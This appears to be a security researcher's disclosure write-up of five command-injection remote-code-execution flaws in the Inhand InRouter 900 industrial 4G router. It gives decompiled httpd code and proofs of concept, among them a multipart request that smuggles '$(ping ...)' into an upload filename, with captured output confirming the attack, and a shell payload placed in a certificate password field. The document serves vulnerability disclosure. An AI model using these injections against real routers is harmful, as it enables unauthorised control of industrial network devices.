

main

...

IoT\_Hunter / Inhand InRouter 900 Industrial 4G Router Vulnerabilities(RCE).pdf

skyvast404

Add files via upload ...

History

1 contributor

980 KB

...

# Inhand InRouter 900 Industrial 4G Router Vulnerabilities

## Description

Inhand InRouter 900 is a Industrial 4G Router. Remote code execution exists in InRouter 900, before firmware version 1.0.0.r11700, attackers can execute arbitrary commands via a crafted packet.

Vulnerabilities found by reversing `/usr/bin/httpd`.

## 1.Remote Code Execution

URL: <http://ip/wizards-ipsec-expert.jsp>

In function `sub_17C08`, the handler `get_cgi_from_memory` can get data from front-end user input, `v3` is filename. In line 58, variable `s` composes `v3` and other text via `snprintf`.

```
39 v2 = (const char *)get_cgi_from_memory("type");
40 v3 = (char *)get_cgi_from_memory("filename");
41 if ( a1 )
42 {
43     if ( !strcmp(a1, "python.cgi") )
44         a1 = (const char *)get_cgi_from_memory("pyapp");
45     else
46         a1 = 0;
47 }
48 if ( !v2 || !*v2 )
49 {
50     syslog(7, "unknown upload type!");
51     return sub_11AAC("error.jsp");
52 }
53 if ( !v3 || !*v3 )
54 {
55     syslog(7, "unknown upload filename!");
56     return sub_11AAC("error.jsp");
57 }
58 snprintf(s, 0x400u, "sed 's/\r//g' -i %s", v3);
59 if ( !strcasecmp(v2, "config") )
```

In line 181, if `v2` equal `ipsec_conf`, then `s` will execute. Remote code execution triggered.

```
181 if ( !strcasecmp(v2, "ipsec_conf") )
182 {
183     system(s);
184     v18 = "/tmp/ipsec.conf";
185     syslog(7, "import ipsec.conf...");
186     rename(v3, "/tmp/ipsec.conf");
187     v19 = f_size("/tmp/ipsec.conf");
188     sub_168B8("infomsg.upload_ok");
189     if ( v19 <= 0x3C00 )
190     {
191         v20 = "/var/backups/ipsec.conf";
192         v21 = "/tmp/ipsec.conf";
```

PoC:

Visit following page, and capture packet.

[←](#) [→](#) [↺](#) [⬆](#) [⚠ 不安全](#) | 202.99.27.22/wizards-ipsec-expert.jsp

指定ipsec.conf文件

未选择.

浏览...

导入

指定ipsec.secrets文件

未选择.

浏览...

导入

开启IPsec

关闭IPsec

IPsec状态

Modify packet like this and forward:

```
> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG7EJhZzYuXvUkju0
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.141 Safari/537.36
! Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! Referer: http://202.99.27.22/wizards-ipsec-expert.jsp
! Accept-Encoding: gzip, deflate
! Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
! Cookie: web_autosave=1; web_status_system_refresh=3; web_status_ipsec_refresh=0; web_loglines=all;
web_status_log_refresh=0; web_pingaddr=202.99.22.79; web_pingcount=4; web_pingsize=32; web_pingoption=
; web_status_l2tp_refresh=3; web_status_openvpn_refresh=3; web_f_openvpn_advanced=1; web_acl-modify=
192-10; web_ipsec-tun-modify=IPsec2_202.99.27.78; web_f_mqtt_advanced=0; web_status_sia_refresh=3;
web_state=0; web_status_track_refresh=3; web_status_vrrp_refresh=3; web_status_backup_refresh=3;
web_cellular_advanced=0; web_alarms_refresh=3; web_status_alarm_refresh=0; web_session=6f575bbf
! Connection: close
!
! -----WebKitFormBoundaryG7EJhZzYuXvUkju0
! Content-Disposition: form-data; name="type"
!
! ipsec_conf
! -----WebKitFormBoundaryG7EJhZzYuXvUkju0
! Content-Disposition: form-data; name="filename"; filename="1233.conf$(ping -c 5 202.99.27.78)"
! Content-Type: application/octet-stream
!
! 1233
! -----WebKitFormBoundaryG7EJhZzYuXvUkju0--
!
```

Attack success

74	202.99.27.22	65.596176	202.99.27.78	ICMP	98 Echo (ping)
75	202.99.27.78	65.596348	202.99.27.22	ICMP	98 Echo (ping)
76	202.99.27.78	65.596356	202.99.27.22	ICMP	98 Echo (ping)
77	202.99.27.22	66.596368	202.99.27.78	ICMP	98 Echo (ping)
78	202.99.27.78	66.596430	202.99.27.22	ICMP	98 Echo (ping)
79	202.99.27.78	66.596432	202.99.27.22	ICMP	98 Echo (ping)
80	202.99.27.22	67.596867	202.99.27.78	ICMP	98 Echo (ping)
81	202.99.27.78	67.596921	202.99.27.22	ICMP	98 Echo (ping)
82	202.99.27.78	67.596924	202.99.27.22	ICMP	98 Echo (ping)
83	202.99.27.22	68.596877	202.99.27.78	ICMP	98 Echo (ping)
84	202.99.27.78	68.596975	202.99.27.22	ICMP	98 Echo (ping)
85	202.99.27.78	68.596978	202.99.27.22	ICMP	98 Echo (ping)
86	202.99.27.22	69.600541	202.99.27.78	ICMP	98 Echo (ping)
87	202.99.27.78	69.600607	202.99.27.22	ICMP	98 Echo (ping)
88	202.99.27.78	69.600609	202.99.27.22	ICMP	98 Echo (ping)

## 2. Remote Code Execution

URL:<http://IP/setup-openvpn-clientN.jsp>

The similar vulnerability exists in line 164 when type equal **config\_ovpn**.

```

161 }
162 if ( !strcasecmp(v2, "config_ovpn") )
163 {
164     system(s);
165     v13 = "/tmp/tmp.ovpn";
166     syslog(7, "import ovpn config...");
167     rename(v3, "/tmp/tmp.ovpn");
168     v14 = f_size("/tmp/tmp.ovpn");
169     if ( v14 > 0x3C00 )
170         goto LABEL_46;
171 LABEL_43:

```

### 3.Remote Code Execution

URL:<http://IP/wizards-ipsec-expert.jsp>

The similar vulnerability exists in line 164 when type equal *ipsec\_secrets*.

```

204 if ( !strcasecmp(v2, "ipsec_secrets") )
205 {
206     system(s);
207     v18 = "/tmp/ipsec.secrets";
208     syslog(7, "import ipsec.secrets...");
209     rename(v3, "/tmp/ipsec.secrets");
210     v22 = f_size("/tmp/ipsec.secrets");
211     sub_168B8("infomsg.upload_ok");
212     if ( v22 <= 0x3C00 )
213     {
214         v21 = "/tmp/ipsec.secrets";
215         v20 = "/var/backups/ipsec.secrets";
216         goto LABEL_57;

```

### 4.Remote Code Execution

URL:<http://IP/status-python-sdk.jsp>

The similar vulnerability exists in line 164 when *type* equal *python-lib*.

```

if ( strcmp(v2, "python-lib") )
{
    if ( !strcmp(v2, "python-cfg") )
    {
        syslog(6, "import python lib file:%s", v3);
        v5 = f_size(v3);
        if ( (unsigned int)(v5 - 1) > 0x2CFFFFE )
        {
            sub_168B8("errmsg.filesize");
            sub_105C4("info");
            syslog(6, "import file: %s is too big %ld!", v3, v5);
            goto LABEL_65;
        }
        if ( a1 )
        {
            snprintf(v29, 0x80u, "/var/app/cfg/%s", a1);
            v6 = opendir(v29);
            if ( v6 )
            {
                closedir(v6);
            }
            else if ( mkdir(v29, 0x1FFu) )
            {
                v25 = *_errno_location();
                v26 = strerror(v25);
                syslog(3, "creat %s failed(%d:%s)", v29, v25, v26);
                unlink(v3);
                sub_11AAC("error.jsp");
            }
            v7 = _xpg_basename(v3);
            syslog(6, "get file path %s/%s", v29, v7);
            snprintf(v28, 0x80u, "rm -rf /var/app/cfg/%s/*", a1);
            system(v28);
            v36 = 0;
            v33 = "-af";
            v32 = "cp";
            v34 = v3;
            v35 = v29;

```

## 5.Remote Code Execution

URL:<http://IP/cert-mgr.jsp>

In function **sub\_1791C**, **v27** compose **passwd** with other text. And then system will execute that.

```

sprintf(
    v27,
    "openssl pkcs12 -chain -CAfile %s -in %s -inkey %s -export -out %s -password %s",
    "/tmp/cas.crt",
    "/etc/certs/me.crt",
    "/tmp/me.key",
    "/tmp/me.p12",
    passwd);
logtrace_log(7, 0, "CMD,%s", v27);
v22 = system(v27);

```

We can see that the var **passwd** is from **pass**:

```

strcpy(passwd, "pass:", 128);
v15 = fopen("/etc/export.key", "r");
if ( v15 )
{
    while ( fgets(export_key, 128, v15) )
        ;
    fclose(v15);
}
if ( export_key[0] )
    strcat(passwd, export_key);
v30 = "openssl";
v31 = "rsa";
v32 = "-in";
v37 = "/tmp/me.key";
v36 = "-out";
v33 = "/etc/certs/me.key";
v34 = "-passin";
v35 = passwd;
v38 = 0;

```

#### PoC:

We can try this **password** on the front-end, which would create a file named ggg in /var/tmp/memory

VPN >> 证书管理

证书管理 ROOT CA

您的密码存在安全风险, 请点击此处修改! ✖

### 证书管理

启用简单证书申请协议	<input checked="" type="checkbox"/>
强制重新申请	<input type="checkbox"/>
请求状态	Initiation
证书保护密钥	<input type="text" value="/var/tmp/memory/ggg"/>
证书保护密钥确认	<input type="text" value="/var/tmp/memory/ggg"/>
限定CA	<input type="checkbox"/>
服务器URL	<input type="text" value="202.99.27.22"/>
证书名	<input type="text" value="adlab"/>
FQDN	<input type="text"/>

Let's check it!

The export.key is **&ps>>/var/tmp/memory/ggg**

```

/var/tmp/memory # cat /etc/export.key
&ps>>/var/tmp/memory/ggg/var/tmp/memory #

```

And the contents of ggg as following:

[More Pages](#)